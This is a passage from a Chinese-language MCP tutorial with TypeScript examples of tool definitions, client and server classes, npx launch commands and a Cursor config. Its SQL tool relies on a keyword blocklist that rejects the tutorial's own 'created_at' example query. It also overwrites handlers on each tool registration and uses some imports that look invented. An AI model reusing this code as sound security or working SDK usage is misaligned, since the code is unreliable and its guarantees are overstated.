/** 依赖的MCP SDK版本 */
requires: string;
/** Skill定义 */
skill: Skill;
/** 入口脚本 */
entry: string;
/** 资源文件 */
assets?: string[];
};
};
}
1.7 MCP工具定义完整代码示例
本节提供一个完整的MCP工具定义示例,涵盖所有核心数据结构。
/**
* MCP协议工具定义完整示例
*
* 本示例展示如何定义一个功能完整的数据库查询工具
* 包括工具元数据、输入验证、错误处理和结果格式化
*/
import { z } from 'zod';
/**
* 第一步:定义工具的输入参数Schema
* 使用Zod进行类型安全的参数定义
*/
// 数据库查询工具输入参数定义
const QueryDatabaseInput = z.object({
/**
* SQL查询语句
* 必须是SELECT语句,禁止其他SQL操作
*/
query: z.string()
.min(1, '查询语句不能为空')
.max(5000, '查询语句过长')
.describe('要执行的SQL查询语句(必须是SELECT)'),
/**
* 查询参数(用于预处理语句)
*/
params: z.array(
z.union([
z.string(),
z.number(),
z.boolean(),
z.null(),
])
)
.optional()
.describe('查询参数,用于预处理语句'),
/**
* 最大返回行数
*/
maxRows: z.number()
.min(1)
.max(10000)
.default(1000)
.describe('最大返回行数'),
/**
* 查询超时时间(毫秒)
*/
timeout: z.number()
.min(1000)
.max(60000)
.default(30000)
.describe('查询超时时间(毫秒)'),
/**
* 是否启用详细日志
*/
verbose: z.boolean()
.default(false)
.describe('是否输出详细查询日志'),
});
/**
* 第二步:定义工具元数据
* 提供AI理解工具所需的所有信息
*/
// 工具元数据
const queryDatabaseToolMeta = {
/** 工具唯一标识符 */
name: 'query_database',
/** 人类可读的描述
* AI会使用此描述理解工具用途
* 建议包含:功能说明、参数解释、使用示例
*/
description: `执行SQL查询并返回结果。
支持的功能:
- SELECT查询
- 聚合函数(COUNT, SUM, AVG等)
- JOIN操作
- 子查询
- LIMIT和OFFSET分页
安全限制:
- 仅支持SELECT语句,其他SQL操作将被拒绝
- 所有用户输入都将经过预处理转义
- 大表查询自动限制返回行数
参数说明:
- query: SQL查询语句(必需)
- params: 查询参数,用于预处理语句(可选)
- maxRows: 最大返回行数,默认1000(可选)
- timeout: 查询超时时间,默认30秒(可选)
返回格式:
- success: 是否成功
- rows: 结果行数组
- rowCount: 返回行数
- executionTime: 执行耗时(毫秒)`,
/** 输入参数JSON Schema(由Zod自动生成)*/
inputSchema: {} as z.infer<typeof QueryDatabaseInput>,
/** 工具分类和标签 */
metadata: {
category: 'database',
tags: ['sql', 'query', 'database', 'postgresql', 'mysql'],
stability: 'stable' as const,
examples: [
{
description: '查询所有用户',
input: {
query: 'SELECT id, name, email FROM users LIMIT 10',
},
},
{
description: '带参数的预处理查询',
input: {
query: 'SELECT * FROM orders WHERE user_id = $1 AND status = $2',
params: [123, 'pending'],
},
},
{
description: '聚合查询',
input: {
query: 'SELECT COUNT(*) as total, SUM(amount) as revenue FROM orders WHERE created_at > $1',
params: ['2024-01-01'],
},
},
],
},
};
/**
* 第三步:定义工具处理器
* 实现具体的业务逻辑
*/
// 类型别名
type QueryDatabaseParams = z.infer<typeof QueryDatabaseInput>;
/**
* 数据库查询结果类型
*/
interface QueryDatabaseResult {
success: boolean;
rows: Record<string, unknown>[];
rowCount: number;
executionTime: number;
columns: string[];
}
/**
* 工具处理器
*/
async function queryDatabaseHandler(
params: QueryDatabaseParams
): Promise<QueryDatabaseResult> {
const startTime = Date.now();
// 参数验证
const validated = QueryDatabaseInput.parse(params);
// 安全检查:必须是SELECT语句
const normalizedQuery = validated.query.trim().toUpperCase();
if (!normalizedQuery.startsWith('SELECT')) {
throw new Error('安全错误:仅支持SELECT查询语句');
}
// 禁止危险SQL关键字
const dangerousKeywords = [
'DROP', 'DELETE', 'UPDATE', 'INSERT', 'ALTER',
'TRUNCATE', 'CREATE', 'GRANT', 'REVOKE',
];
for (const keyword of dangerousKeywords) {
if (normalizedQuery.includes(keyword)) {
throw new Error(`安全错误:查询中包含禁止的关键字 ${keyword}`);
}
}
// 执行查询(实际实现中会连接真实数据库)
const result = await executeQuery({
sql: validated.query,
params: validated.params,
maxRows: validated.maxRows,
timeout: validated.timeout,
verbose: validated.verbose,
});
return {
success: true,
rows: result.rows,
rowCount: result.rows.length,
executionTime: Date.now() - startTime,
columns: result.columns,
};
}
/**
* 执行查询(模拟实现)
*/
async function executeQuery(config: {
sql: string;
params?: unknown[];
maxRows: number;
timeout: number;
verbose: boolean;
}): Promise<{ rows: Record<string, unknown>[]; columns: string[] }> {
// 模拟查询执行
if (config.verbose) {
console.log('执行查询:', config.sql);
console.log('参数:', config.params);
}
// 返回模拟结果
return {
rows: [
{ id: 1, name: 'Alice', email: 'alice@example.com' },
{ id: 2, name: 'Bob', email: 'bob@example.com' },
],
columns: ['id', 'name', 'email'],
};
}
/**
* 第四步:完整的工具定义
* 组合元数据和处理函数
*/
const queryDatabaseTool = {
...queryDatabaseToolMeta,
inputSchema: QueryDatabaseInput,
/**
* 执行工具
* MCP协议会自动调用此函数
*/
execute: queryDatabaseHandler,
/**
* 结果格式化
* 将执行结果转换为MCP兼容的格式
*/
formatResult: (result: QueryDatabaseResult) => ({
content: [
{
type: 'table' as const,
rows: result.rows,
columns: result.columns,
},
{
type: 'text' as const,
text: `查询成功:返回 ${result.rowCount} 行,执行耗时 ${result.executionTime}ms`,
},
],
}),
/**
* 错误格式化
* 将错误转换为MCP兼容的格式
*/
formatError: (error: Error) => ({
content: [
{
type: 'text' as const,
text: `查询失败:${error.message}`,
},
],
isError: true,
}),
};
/**
* 使用示例:注册到MCP Server
*/
function registerQueryDatabaseTool(server: McpServer) {
server.setRequestHandler(
{ method: 'tools/list' },
async () => ({
tools: [
{
name: queryDatabaseTool.name,
description: queryDatabaseTool.description,
inputSchema: queryDatabaseTool.inputSchema,
},
],
})
);
server.setRequestHandler(
{ method: 'tools/call' },
async (request) => {
if (request.params.name !== queryDatabaseTool.name) {
throw new Error(`未知工具: ${request.params.name}`);
}
try {
const result = await queryDatabaseTool.execute(request.params.arguments);
return queryDatabaseTool.formatResult(result);
} catch (error) {
return queryDatabaseTool.formatError(error as Error);
}
}
);
}
export {
QueryDatabaseInput,
queryDatabaseTool,
registerQueryDatabaseTool,
type QueryDatabaseResult,
};
二、核心架构详解
2.1 三层架构概述
MCP采用经典的Host-Client-Server三层架构,这种设计借鉴了现代分布式系统的最佳实践:
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 三层架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────┐ │
│ │ Host(宿主应用) │ │
│ │ │ │
│ │ • Claude Desktop │ │
│ │ • VS Code (Cline) │ │
│ │ • Cursor IDE │ │
│ │ • Continue插件 │ │
│ │ • 自定义应用 │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 用户界面管理 │ │
│ │ - 会话状态管理 │ │
│ │ - 权限授权控制 │ │
│ │ - 结果呈现渲染 │ │
│ └──────────┬──────────┘ │
│ │ │
│ MCP协议通信 │ (JSON-RPC 2.0 / HTTP/SSE) │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP Client(客户端层) │ │
│ │ │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │ Client │ │ Client │ │ Client │ │ Client │ │ │
│ │ │ (FS) │ │ (GitHub)│ │ (Search)│ │ (Custom)│ │ │
│ │ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │ │
│ │ │ │ │ │ │ │
│ │ └─────────────┴─────────────┴─────────────┘ │ │
│ │ │ │ │
│ │ 职责: │ │
│ │ - 与各Server建立和管理连接 │ │
│ │ - 工具发现和元数据管理 │ │
│ │ - 请求路由和负载均衡 │ │
│ │ - 连接池和会话管理 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ 协议通信(stdio/HTTP/WebSocket) │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP Server(工具服务器层) │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Filesystem │ │ GitHub │ │ Search │ │ │
│ │ │ Server │ │ Server │ │ Server │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ read_file │ │ search_code │ │ jina_search│ │ │
│ │ │ write_file │ │ get_pr │ │ fetch_url │ │ │
│ │ │ list_dir │ │ create_issue│ │ summarize │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 实现具体业务逻辑 │ │
│ │ - 工具注册和元数据暴露 │ │
│ │ - 资源管理与订阅 │ │
│ │ - 权限验证和安全检查 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 外部资源层 │ │
│ │ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ │ │
│ │ │本地文件 │ │ 数据库 │ │ Web │ │ 云服务 │ │企业内部│ │ │
│ │ │ │ │ │ │ API │ │ │ │ API │ │ │
│ │ └────────┘ └────────┘ └────────┘ └────────┘ └────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
2.2 Host(宿主应用)详解
Host是AI能力的载体,是用户直接交互的应用层。它负责协调整个MCP通信流程。
Host的核心职责:
/**
* Host 应用的核心职责接口
*/
interface MCPHost {
// ============================================
// 第一部分:用户交互管理
// ============================================
/**
* 管理用户界面和会话状态
* - 维护对话历史和上下文
* - 处理用户输入和输出渲染
* - 管理多轮对话状态
*/
manageUserSession(): UserSessionManager;
/**
* 呈现工具调用结果
* - 格式化工具返回数据
* - 渲染富文本内容
* - 处理错误展示
*/
renderToolResults(results: ToolResult[]): void;
// ============================================
// 第二部分:MCP Client协调
// ============================================
/**
* 协调多个MCP Client
* - 管理Client生命周期
* - 协调跨Client的复杂请求
* - 聚合来自不同Server的数据
*/
orchestrateClients(): ClientOrchestrator;
/**
* 处理用户授权和权限管理
* - 请求工具使用授权
* - 管理信任策略
* - 记录审计日志
*/
manageAuthorization(): AuthorizationManager;
// ============================================
// 第三部分:上下文管理
// ============================================
/**
* 管理会话上下文
* - 维护工具调用历史
* - 管理中间结果缓存
* - 优化上下文窗口使用
*/
manageContext(): ContextManager;
/**
* 与LLM通信
* - 构建包含工具描述的提示
* - 处理函数调用响应
* - 管理流式输出
*/
communicateWithLLM(): LLMCommunicator;
}
/**
* 用户会话管理
*/
interface UserSessionManager {
sessionId: string;
userProfile: UserProfile;
conversationHistory: Message[];
toolCallHistory: ToolCall[];
// 添加用户消息
addUserMessage(content: string): void;
// 添加AI响应
addAssistantMessage(content: string, toolCalls?: ToolCall[]): void;
// 获取相关上下文
getRelevantContext(query: string): ContextSnippet[];
}
/**
* 工具调用记录
*/
interface ToolCall {
id: string;
toolName: string;
arguments: Record<string, unknown>;
result: ToolResult;
timestamp: Date;
duration: number;
success: boolean;
}
主流Host应用对比:
| Host应用 | 类型 | MCP支持程度 | 适用场景 | 优势 |
|---|---|---|---|---|
| Claude Desktop | 官方桌面应用 | 完整支持 | 日常对话、轻量级任务 | 原生体验、官方维护 |
| Cursor | AI代码编辑器 | 完整支持 | 代码开发 | 上下文感知、项目级理解 |
| Cline | VS Code插件 | 完整支持 | VS Code用户 | 生态丰富、扩展性强 |
| Continue | 开源IDE插件 | 完整支持 | 自托管方案 | 开源可定制、社区活跃 |
| Windsurf | AI代码编辑器 | 完整支持 | 全栈开发 | 智能补全、代码解释 |
| Claude Code | CLI工具 | 完整支持 | 自动化脚本、CI/CD | 批处理能力强 |
2.3 Client(客户端)详解
Client是Host内部的轻量级组件,每个Server连接对应一个Client实例。Client负责管理与特定Server的通信。
Client的完整实现:
import { Client } from '@modelcontextprotocol/sdk/client';
import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio';
import { HTTPClientTransport } from '@modelcontextprotocol/sdk/client/http';
/**
* MCP Client 配置选项
*/
interface MCPClientConfig {
/** Server名称 */
name: string;
/** Server版本 */
version: string;
/** 传输层类型 */
transport: 'stdio' | 'http' | 'websocket';
/** 服务器地址或命令 */
serverInfo: StdioServerInfo | HttpServerInfo;
/** 连接超时时间(毫秒) */
timeout?: number;
/** 重试次数 */
retries?: number;
/** 权限策略 */
permissions?: PermissionPolicy;
}
/**
* 标准输入输出Server配置
*/
interface StdioServerInfo {
command: string; // 启动命令,如 'npx'
args: string[]; // 命令参数
env?: Record<string, string>; // 环境变量
}
/**
* HTTP Server配置
*/
interface HttpServerInfo {
url: string; // Server URL
headers?: Record<string, string>; // 请求头
}
/**
* MCP Client 核心类
*/
class MCPClientCore {
private client: Client;
private transport: any;
private serverInfo: any;
private connected: boolean = false;
constructor(config: MCPClientConfig) {
this.serverInfo = config;
}
/**
* 连接到MCP Server
*
* 完整流程:
* 1. 创建传输层
* 2. 建立连接
* 3. 执行协议握手
* 4. 获取Server能力
* 5. 标记为已连接
*/
async connect(): Promise<void> {
if (this.connected) {
console.log('已连接到Server');
return;
}
try {
// 步骤1:创建传输层
this.transport = this.createTransport();
// 步骤2:创建Client实例
this.client = new Client({
name: this.serverInfo.name,
version: this.serverInfo.version,
}, {
capabilities: {
// 声明客户端能力
roots: {
listChanged: true,
},
sampling: {}, // 支持采样(Server可请求LLM生成)
},
});
// 步骤3:连接传输层
await this.client.connect(this.transport);
// 步骤4:执行初始化握手
await this.initialize();
// 步骤5:获取Server能力
const capabilities = await this.getServerCapabilities();
console.log('连接成功!Server能力:', capabilities);
this.connected = true;
} catch (error) {
console.error('连接失败:', error);
throw error;
}
}
/**
* 创建传输层
*/
private createTransport() {
switch (this.serverInfo.transport) {
case 'stdio':
return new StdioClientTransport({
command: this.serverInfo.serverInfo.command,
args: this.serverInfo.serverInfo.args,
env: this.serverInfo.serverInfo.env,
});
case 'http':
return new HTTPClientTransport({
url: this.serverInfo.serverInfo.url,
headers: this.serverInfo.serverInfo.headers,
});
default:
throw new Error(`不支持的传输类型: ${this.serverInfo.transport}`);
}
}
/**
* 初始化握手
*
* 握手流程:
* 1. 发送initialize请求,包含协议版本和客户端信息
* 2. 接收Server响应,获取协议版本和Server能力
* 3. 发送initialized通知,告知Server握手完成
*/
private async initialize(): Promise<void> {
const response = await this.client.request(
{ method: 'initialize' },
{
// 协议版本(遵循语义化版本)
protocolVersion: '2024-11-05',
// 客户端能力声明
capabilities: {
roots: {
listChanged: true,
},
sampling: {},
},
// 客户端信息
clientInfo: {
name: this.serverInfo.name,
version: this.serverInfo.version,
},
}
);
console.log('Server协议版本:', response.protocolVersion);
console.log('Server能力:', response.capabilities);
// 通知Server初始化完成
await this.client.notification({
method: 'initialized',
params: {},
});
}
/**
* 获取Server能力
*/
async getServerCapabilities(): Promise<ServerCapabilities> {
const tools = await this.listTools();
const resources = await this.listResources();
const prompts = await this.listPrompts();
return {
tools: tools.map(t => t.name),
resources: resources.map(r => r.uri),
prompts: prompts.map(p => p.name),
};
}
/**
* 列出所有可用工具
*/
async listTools(): Promise<Tool[]> {
const response = await this.client.request(
{ method: 'tools/list' },
{}
);
return response.tools || [];
}
/**
* 调用指定工具
*
* 工具调用流程:
* 1. 验证参数是否符合schema
* 2. 发送tools/call请求
* 3. 处理响应(可能包含多个内容块)
* 4. 返回格式化结果
*/
async callTool(
name: string,
arguments_: Record<string, unknown>
): Promise<ToolResult> {
if (!this.connected) {
throw new Error('未连接到Server');
}
try {
const response = await this.client.request(
{ method: 'tools/call' },
{
name,
arguments: arguments_,
}
);
return {
success: true,
content: response.content,
meta: response._meta,
};
} catch (error: any) {
console.error(`工具调用失败: ${name}`, error);
return {
success: false,
content: [
{
type: 'text',
text: `错误: ${error.message}`,
},
],
isError: true,
};
}
}
/**
* 列出所有可用资源
*/
async listResources(): Promise<Resource[]> {
const response = await this.client.request(
{ method: 'resources/list' },
{}
);
return response.resources || [];
}
/**
* 读取资源内容
*/
async readResource(uri: string): Promise<ResourceContent> {
const response = await this.client.request(
{ method: 'resources/read' },
{ uri }
);
return response.contents[0];
}
/**
* 订阅资源变更
*/
async subscribeResource(uri: string): Promise<void> {
await this.client.notification({
method: 'resources/subscribe',
params: { uri },
});
}
/**
* 获取提示模板
*/
async listPrompts(): Promise<Prompt[]> {
const response = await this.client.request(
{ method: 'prompts/list' },
{}
);
return response.prompts || [];
}
/**
* 获取提示模板
*/
async getPrompt(name: string, args?: Record<string, string>): Promise<PromptMessage[]> {
const response = await this.client.request(
{ method: 'prompts/get' },
{ name, arguments: args }
);
return response.messages;
}
/**
* 断开连接
*/
async disconnect(): Promise<void> {
if (this.client) {
await this.client.close();
this.connected = false;
console.log('已断开与Server的连接');
}
}
/**
* 发送ping保持连接
*/
async ping(): Promise<boolean> {
try {
await this.client.request({ method: 'ping' }, {});
return true;
} catch {
return false;
}
}
}
/**
* 使用示例:连接到多个Server
*/
async function demoMultiServerConnection() {
// 创建多个Client
const clients = {
filesystem: new MCPClientCore({
name: 'my-filesystem-client',
version: '1.0.0',
transport: 'stdio',
serverInfo: {
command: 'npx',
args: ['-y', '@modelcontextprotocol/server-filesystem', './workspace'],
},
}),
github: new MCPClientCore({
name: 'my-github-client',
version: '1.0.0',
transport: 'stdio',
serverInfo: {
command: 'npx',
args: ['-y', '@modelcontextprotocol/server-github'],
env: {
GITHUB_TOKEN: process.env.GITHUB_TOKEN!,
},
},
}),
jina: new MCPClientCore({
name: 'my-jina-client',
version: '1.0.0',
transport: 'http',
serverInfo: {
url: 'https://mcp.jina.ai',
headers: {
'Authorization': `Bearer ${process.env.JINA_API_KEY}`,
},
},
}),
};
// 连接所有Server
console.log('正在连接所有Server...');
await Promise.all([
clients.filesystem.connect(),
clients.github.connect(),
clients.jina.connect(),
]);
console.log('所有Server连接成功!');
// 并行调用多个工具
const results = await Promise.all([
clients.filesystem.callTool('read_file', { path: 'README.md' }),
clients.github.callTool('search_code', { q: 'MCP protocol' }),
clients.jina.callTool('jina_reader', { url: 'https://example.com' }),
]);
// 处理结果
results.forEach((result, index) => {
console.log(`结果 ${index + 1}:`, result.success ? '成功' : '失败');
});
// 断开连接
await Promise.all([
clients.filesystem.disconnect(),
clients.github.disconnect(),
clients.jina.disconnect(),
]);
}
2.4 Server(工具服务器)详解
Server是MCP架构中最核心的一层,它承载实际的业务逻辑,对外暴露工具、资源和提示模板。
MCP Server的完整实现:
import {
McpServer,
StdioServerTransport,
HttpServerTransport,
} from '@modelcontextprotocol/sdk/server';
import { z } from 'zod';
/**
* MCP Server 配置
*/
interface ServerConfig {
/** Server名称 */
name: string;
/** Server版本(遵循语义化版本) */
version: string;
/** 传输层类型 */
transport: 'stdio' | 'http' | 'sse';
/** 是否启用详细日志 */
verbose?: boolean;
/** 安全配置 */
security?: SecurityConfig;
}
/**
* 安全配置
*/
interface SecurityConfig {
/** 是否启用路径遍历检查 */
preventPathTraversal?: boolean;
/** 允许的操作类型白名单 */
allowedOperations?: string[];
/** 最大文件大小(字节) */
maxFileSize?: number;
/** 操作超时时间(毫秒) */
timeout?: number;
}
/**
* 企业级MCP Server 基类
*
* 提供通用功能:
* - 工具注册和管理
* - 资源管理
* - 提示模板
* - 安全检查
* - 错误处理
* - 日志记录
*/
abstract class BaseMCPServer<T extends Record<string, unknown> = {}> {
protected server: McpServer;
protected config: ServerConfig;
protected logger: Logger;
constructor(config: ServerConfig) {
this.config = config;
this.server = new McpServer({
name: config.name,
version: config.version,
});
// 初始化日志
this.logger = new Logger(config.verbose || false);
// 注册核心能力
this.registerCoreCapabilities();
}
/**
* 注册核心能力
*/
private registerCoreCapabilities() {
// 注册采样处理器(允许Server请求LLM生成内容)
this.server.setRequestHandler(
{ method: 'sampling/createMessage' },
async ({ params }) => {
// 在实际实现中,这里会调用LLM
return {
model: 'claude-3-5-sonnet',
role: 'assistant',
content: [
{
type: 'text',
text: '这是采样生成的响应',
},
],
stopReason: 'endTurn',
};
}
);
// 注册根目录变更处理器
this.server.setRequestHandler(
{ method: 'roots/list' },
async () => {
return {
roots: [
{
uri: 'file:///workspace',
name: '工作目录',
},
],
};
}
);
}
/**
* 注册工具
*
* 使用Zod进行运行时验证
*/
protected registerTool<InputSchema extends z.ZodType>(
name: string,
description: string,
inputSchema: InputSchema,
handler: (input: z.infer<InputSchema>) => Promise<ToolResult>
): void {
this.server.setRequestHandler(
{ method: 'tools/list' },
async () => ({
tools: [
{
name,
description,
inputSchema: inputSchema as unknown as JSONSchema,
},
],
})
);
this.server.setRequestHandler(
{ method: 'tools/call' },
async (request) => {
if (request.params.name !== name) {
throw new Error(`未知工具: ${request.params.name}`);
}
this.logger.info(`调用工具: ${name}`, request.params.arguments);
try {
// 验证输入参数
const validatedInput = inputSchema.parse(request.params.arguments);
// 执行工具逻辑
const result = await handler(validatedInput);
this.logger.info(`工具执行成功: ${name}`);
return result;
} catch (error: any) {
this.logger.error(`工具执行失败: ${name}`, error);
return {
content: [
{
type: 'text',
text: `错误: ${error.message}`,
},
],
isError: true,
};
}
}
);
}
/**
* 注册资源
*/
protected registerResource(
uri: string,
name: string,
description: string,
mimeType: string,
handler: () => Promise<string>
): void {
this.server.setRequestHandler(
{ method: 'resources/list' },
async () => ({
resources: [
{
uri,
name,
description,
mimeType,
},
],
})
);
this.server.setRequestHandler(
{ method: 'resources/read' },
async (request) => {
if (request.params.uri !== uri) {
throw new Error(`未知资源: ${request.params.uri}`);
}
const content = await handler();
return {
contents: [
{
uri,
mimeType,
text: content,
},
],
};
}
);
}
/**
* 注册提示模板
*/
protected registerPrompt(
name: string,
description: string,
arguments_: Array<{
name: string;
description: string;
required: boolean;
}>,
handler: (args: Record<string, string>) => Promise<PromptMessage[]>
): void {
this.server.setRequestHandler(
{ method: 'prompts/list' },
async () => ({
prompts: [
{
name,
description,
arguments: arguments_,
},
],
})
);
this.server.setRequestHandler(
{ method: 'prompts/get' },
async (request) => {
if (request.params.name !== name) {
throw new Error(`未知提示: ${request.params.name}`);
}
const messages = await handler(request.params.arguments || {});
return { messages };
}
);
}
/**
* 启动Server
*/
async start(): Promise<void> {
let transport;
switch (this.config.transport) {
case 'stdio':
transport = new StdioServerTransport();
break;
case 'http':
transport = new HttpServerTransport({
port: 3000,
});
break;
default:
throw new Error(`不支持的传输类型: ${this.config.transport}`);
}
this.logger.info(`启动 ${this.config.name} v${this.config.version}`);
await this.server.connect(transport);
this.logger.info('Server已启动,等待连接...');
}
}
/**
* 日志类
*/
class Logger {
constructor(private verbose: boolean) {}
info(message: string, ...args: unknown[]) {
console.log(`[INFO] ${message}`, ...args);
}
warn(message: string, ...args: unknown[]) {
console.warn(`[WARN] ${message}`, ...args);
}
error(message: string, ...args: unknown[]) {
console.error(`[ERROR] ${message}`, ...args);
}
debug(message: string, ...args: unknown[]) {
if (this.verbose) {
console.debug(`[DEBUG] ${message}`, ...args);
}
}
}
2.5 MCP服务器创建实战
本节将详细介绍如何从零开始创建、配置和部署一个MCP服务器,涵盖从简单的本地Server到集成GitHub API的高级Server。
2.5.1 创建GitHub MCP服务器
GitHub MCP服务器是最常用的官方Server之一,它允许AI直接与GitHub交互,执行仓库管理、Issue创建、PR操作等任务。
前置条件:
- Node.js 18+ 环境
- GitHub Personal Access Token (PAT)
- npm 或 yarn 包管理器
创建步骤:
# 第一步:创建项目目录
mkdir github-mcp-server
cd github-mcp-server
# 第二步:初始化项目
npm init -y
# 第三步:安装MCP SDK和必要依赖
npm install @modelcontextprotocol/sdk @modelcontextprotocol/server-github
# 或使用国产源加速
npm install @modelcontextprotocol/sdk @modelcontextprotocol/server-github --registry=https://registry.npmmirror.com
配置MCP Server:
// src/index.ts - GitHub MCP服务器入口文件
import { McpServer } from '@modelcontextprotocol/sdk/server';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio';
import { Server } from '@modelcontextprotocol/server-github';
/**
* GitHub MCP Server 配置
*
* 该Server提供以下核心功能:
* 1. 仓库管理 - 创建、查看、搜索仓库
* 2. Issue管理 - 创建、编辑、关闭Issue
* 3. PR操作 - 创建PR、审查、合并
* 4. 代码搜索 - 在仓库中搜索代码
* 5. 文件操作 - 读取仓库文件和目录
*/
async function main() {
// 验证环境变量
const token = process.env.GITHUB_TOKEN;
if (!token) {
console.error('错误:未设置GITHUB_TOKEN环境变量');
console.error('请运行:export GITHUB_TOKEN=your_token_here');
process.exit(1);
}
// 创建MCP Server实例
const server = new McpServer({
name: 'github-mcp-server',
version: '1.0.0',
});
// 使用官方GitHub Server实现
const githubServer = new Server({
token,
});
// 连接stdio传输层
const transport = new StdioServerTransport();
// 启动服务
await server.connect(transport);
console.log('GitHub MCP Server已启动');
console.log('可用的工具:');
console.log(' - search_code: 搜索代码');
console.log(' - get_repository: 获取仓库信息');
console.log(' - create_issue: 创建Issue');
console.log(' - create_pull_request: 创建PR');
console.log(' - list_commits: 列出提交记录');
}
main().catch(console.error);
添加package.json脚本:
{
"name": "github-mcp-server",
"version": "1.0.0",
"type": "module",
"main": "dist/index.js",
"scripts": {
"build": "tsc",
"start": "node dist/index.js",
"dev": "tsx src/index.ts"
},
"dependencies": {
"@modelcontextprotocol/sdk": "^1.0.0",
"@modelcontextprotocol/server-github": "^1.0.0"
},
"devDependencies": {
"tsx": "^4.7.0",
"typescript": "^5.4.0"
}
}
2.5.2 npx方式运行MCP
npx是运行MCP Server最简单的方式,无需手动安装和配置项目。
基础用法:
# 运行官方filesystem server
npx -y @modelcontextprotocol/server-filesystem ./my-projects
# 运行官方GitHub server
npx -y @modelcontextprotocol/server-github
# 运行官方Slack server
npx -y @modelcontextprotocol/server-slack
# 运行官方Sentry server
npx -y @modelcontextprotocol/server-sentry
带参数运行:
# filesystem server - 指定多个目录
npx -y @modelcontextprotocol/server-filesystem \
/home/user/projects \
/home/user/documents \
/home/user/downloads
# GitHub server - 设置API前缀(用于企业GitHub)
npx -y @modelcontextprotocol/server-github \
--github-api-url https://github.mycompany.com/api/v3
# PostgreSQL server - 指定连接参数
npx -y @modelcontextprotocol/server-postgres \
--host localhost \
--port 5432 \
--database myapp
npx工作原理:
┌─────────────────────────────────────────────────────────────────────────┐
│ npx 运行MCP流程 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 用户执行命令 │
│ ┌─────────────────────────────────────────┐ │
│ │ npx -y @modelcontextprotocol/server-xxx │ │
│ └──────────────────┬────────────────────┘ │
│ │ │
│ ▼ │
│ npx检查本地缓存 │
│ ┌─────────────────────────────────────────┐ │
│ │ 1. 检查 ~/.npm/_npx 是否有缓存包 │ │
│ │ 2. 检查 package.json 是否声明依赖 │ │
│ │ 3. 如果没有,发起npm下载 │ │
│ └──────────────────┬────────────────────┘ │
│ │ │
│ ▼ │
│ 下载并解压包(-y 跳过确认) │
│ ┌─────────────────────────────────────────┐ │
│ │ npm pack @modelcontextprotocol/server-xxx │
│ │ tar -xf package.tgz │ │
│ └──────────────────┬────────────────────┘ │
│ │ │
│ ▼ │
│ 执行Server主文件 │
│ ┌─────────────────────────────────────────┐ │
│ │ node package/dist/index.js │ │
│ │ 或执行npm注册的bin命令 │ │
│ └──────────────────┬────────────────────┘ │
│ │ │
│ ▼ │
│ Server启动,通过stdio通信 │
│ ┌─────────────────────────────────────────┐ │
│ │ stdin: 接收JSON-RPC请求 │ │
│ │ stdout: 发送JSON-RPC响应 │ │
│ └─────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
创建可复用的MCP启动脚本:
#!/bin/bash
# scripts/start-mcp-servers.sh - MCP服务器启动脚本
# 定义颜色输出
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
echo -e "${YELLOW}启动MCP服务器...${NC}\n"
# 检查必需的环境变量
if [ -z "$GITHUB_TOKEN" ]; then
echo -e "${RED}错误:GITHUB_TOKEN 未设置${NC}"
echo "请运行:export GITHUB_TOKEN=your_token"
exit 1
fi
# 定义服务器配置
declare -A SERVERS=(
["filesystem"]="@modelcontextprotocol/server-filesystem ./workspace"
["github"]="@modelcontextprotocol/server-github"
["sqlite"]="@modelcontextprotocol/server-sqlite ./data/app.db"
)
# 启动每个服务器
for name in "${!SERVERS[@]}"; do
echo -e "${GREEN}启动 ${name}...${NC}"
npx -y ${SERVERS[$name]} &
done
echo -e "\n${GREEN}所有MCP服务器已启动!${NC}"
echo "使用 Ctrl+C 停止所有服务器"
# 等待所有后台进程
wait
2.5.3 在Cursor中配置MCP
Cursor是目前最流行的AI代码编辑器之一,深度集成了MCP协议。以下是在Cursor中配置MCP的完整指南。
配置方法一:Cursor设置界面
步骤:
1. 打开Cursor设置(Cmd/Ctrl + ,)
2. 导航到 MCP 标签页
3. 点击"添加新的MCP服务器"
4. 填写服务器配置
5. 保存并验证连接
配置方法二:Cursor配置文件
// ~/.cursor/mcp.json - Cursor MCP全局配置
{
"mcpServers": {
// ============================================
// 官方MCP Servers
// ============================================
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/workspace"
],
"env": {}
},
"github": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-github"
],
"env": {
"GITHUB_TOKEN": "your-github-token-here"
}
},
// ============================================
// 社区MCP Servers
// ============================================
"jina-search": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-jina"
],
"env": {
"JINA_API_KEY": "your-jina-api-key"
}
},
"postgres": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-postgres"
],
"env": {
"POSTGRES_HOST": "localhost",
"POSTGRES_PORT": "5432",
"POSTGRES_DATABASE": "myapp",
"POSTGRES_USER": "postgres",
"POSTGRES_PASSWORD": "mypassword"
}
},
"slack": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-slack"
],
"env": {
